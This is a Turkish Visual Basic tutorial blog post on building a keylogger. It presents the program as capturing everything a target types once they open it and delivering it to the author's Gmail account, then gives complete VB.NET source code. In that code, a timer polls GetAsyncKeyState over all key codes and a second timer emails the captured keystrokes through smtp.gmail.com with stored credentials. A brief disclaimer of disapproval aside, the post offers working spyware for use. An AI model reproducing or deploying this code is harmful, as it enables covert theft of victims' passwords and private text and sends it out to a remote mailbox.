Keylogger Yapımı e-mail

Merhaba arkadaşlar bu yayında keylogger yapımını konu aldık her ne kadar tasvip etmesekte.

programın çalışma biçimi şu şekildedir.

karşı taraf programı açtığı zaman yazdığı her şey size gmail hesabınıza gelmektedir.

programı geliştirmek size kalmıştır.

süreyi genişletmek isterseniz timer2 yani email deki Invertal kısmını yükseltebilirsiniz.

programdan bir görüntü.

PROJE KAYNAK KODLARINI İNDİRMEK İÇİN TIKLA

RAR PAS: visualbasicdersleri.com

VİDEOYU İZLEYİN

Imports System.Net.Mail
Public Class Form1 'www.visualbasicdersleri.com
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick 'www.visualbasicdersleri.com
        For i = 1 To 255
            result = 0
            result = (GetAsyncKeyState(i))
            If result = -32767 Then
                RichTextBox1.Text = RichTextBox1.Text + Chr(i)
            End If
        Next i
    End Sub 'www.visualbasicdersleri.com
    Private Sub eposta_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles email.Tick
        Dim MymailMassege As New MailMessage() 'www.visualbasicdersleri.com
        MymailMassege.From = New MailAddress("visualbasicderslericom@gmail.com")
        MymailMassege.To.Add("visualbasicderslericom@gmail.com")
        MymailMassege.Subject = ("visualbasicderslericom@gmail.com")
        MymailMassege.Body = RichTextBox1.Text
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("visualbasicderslericom@gmail.com", "ŞİFRE BURAYA")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MymailMassege)
        RichTextBox1.Text = ("") 'www.visualbasicdersleri.com
    End Sub
End Class

Paylaş :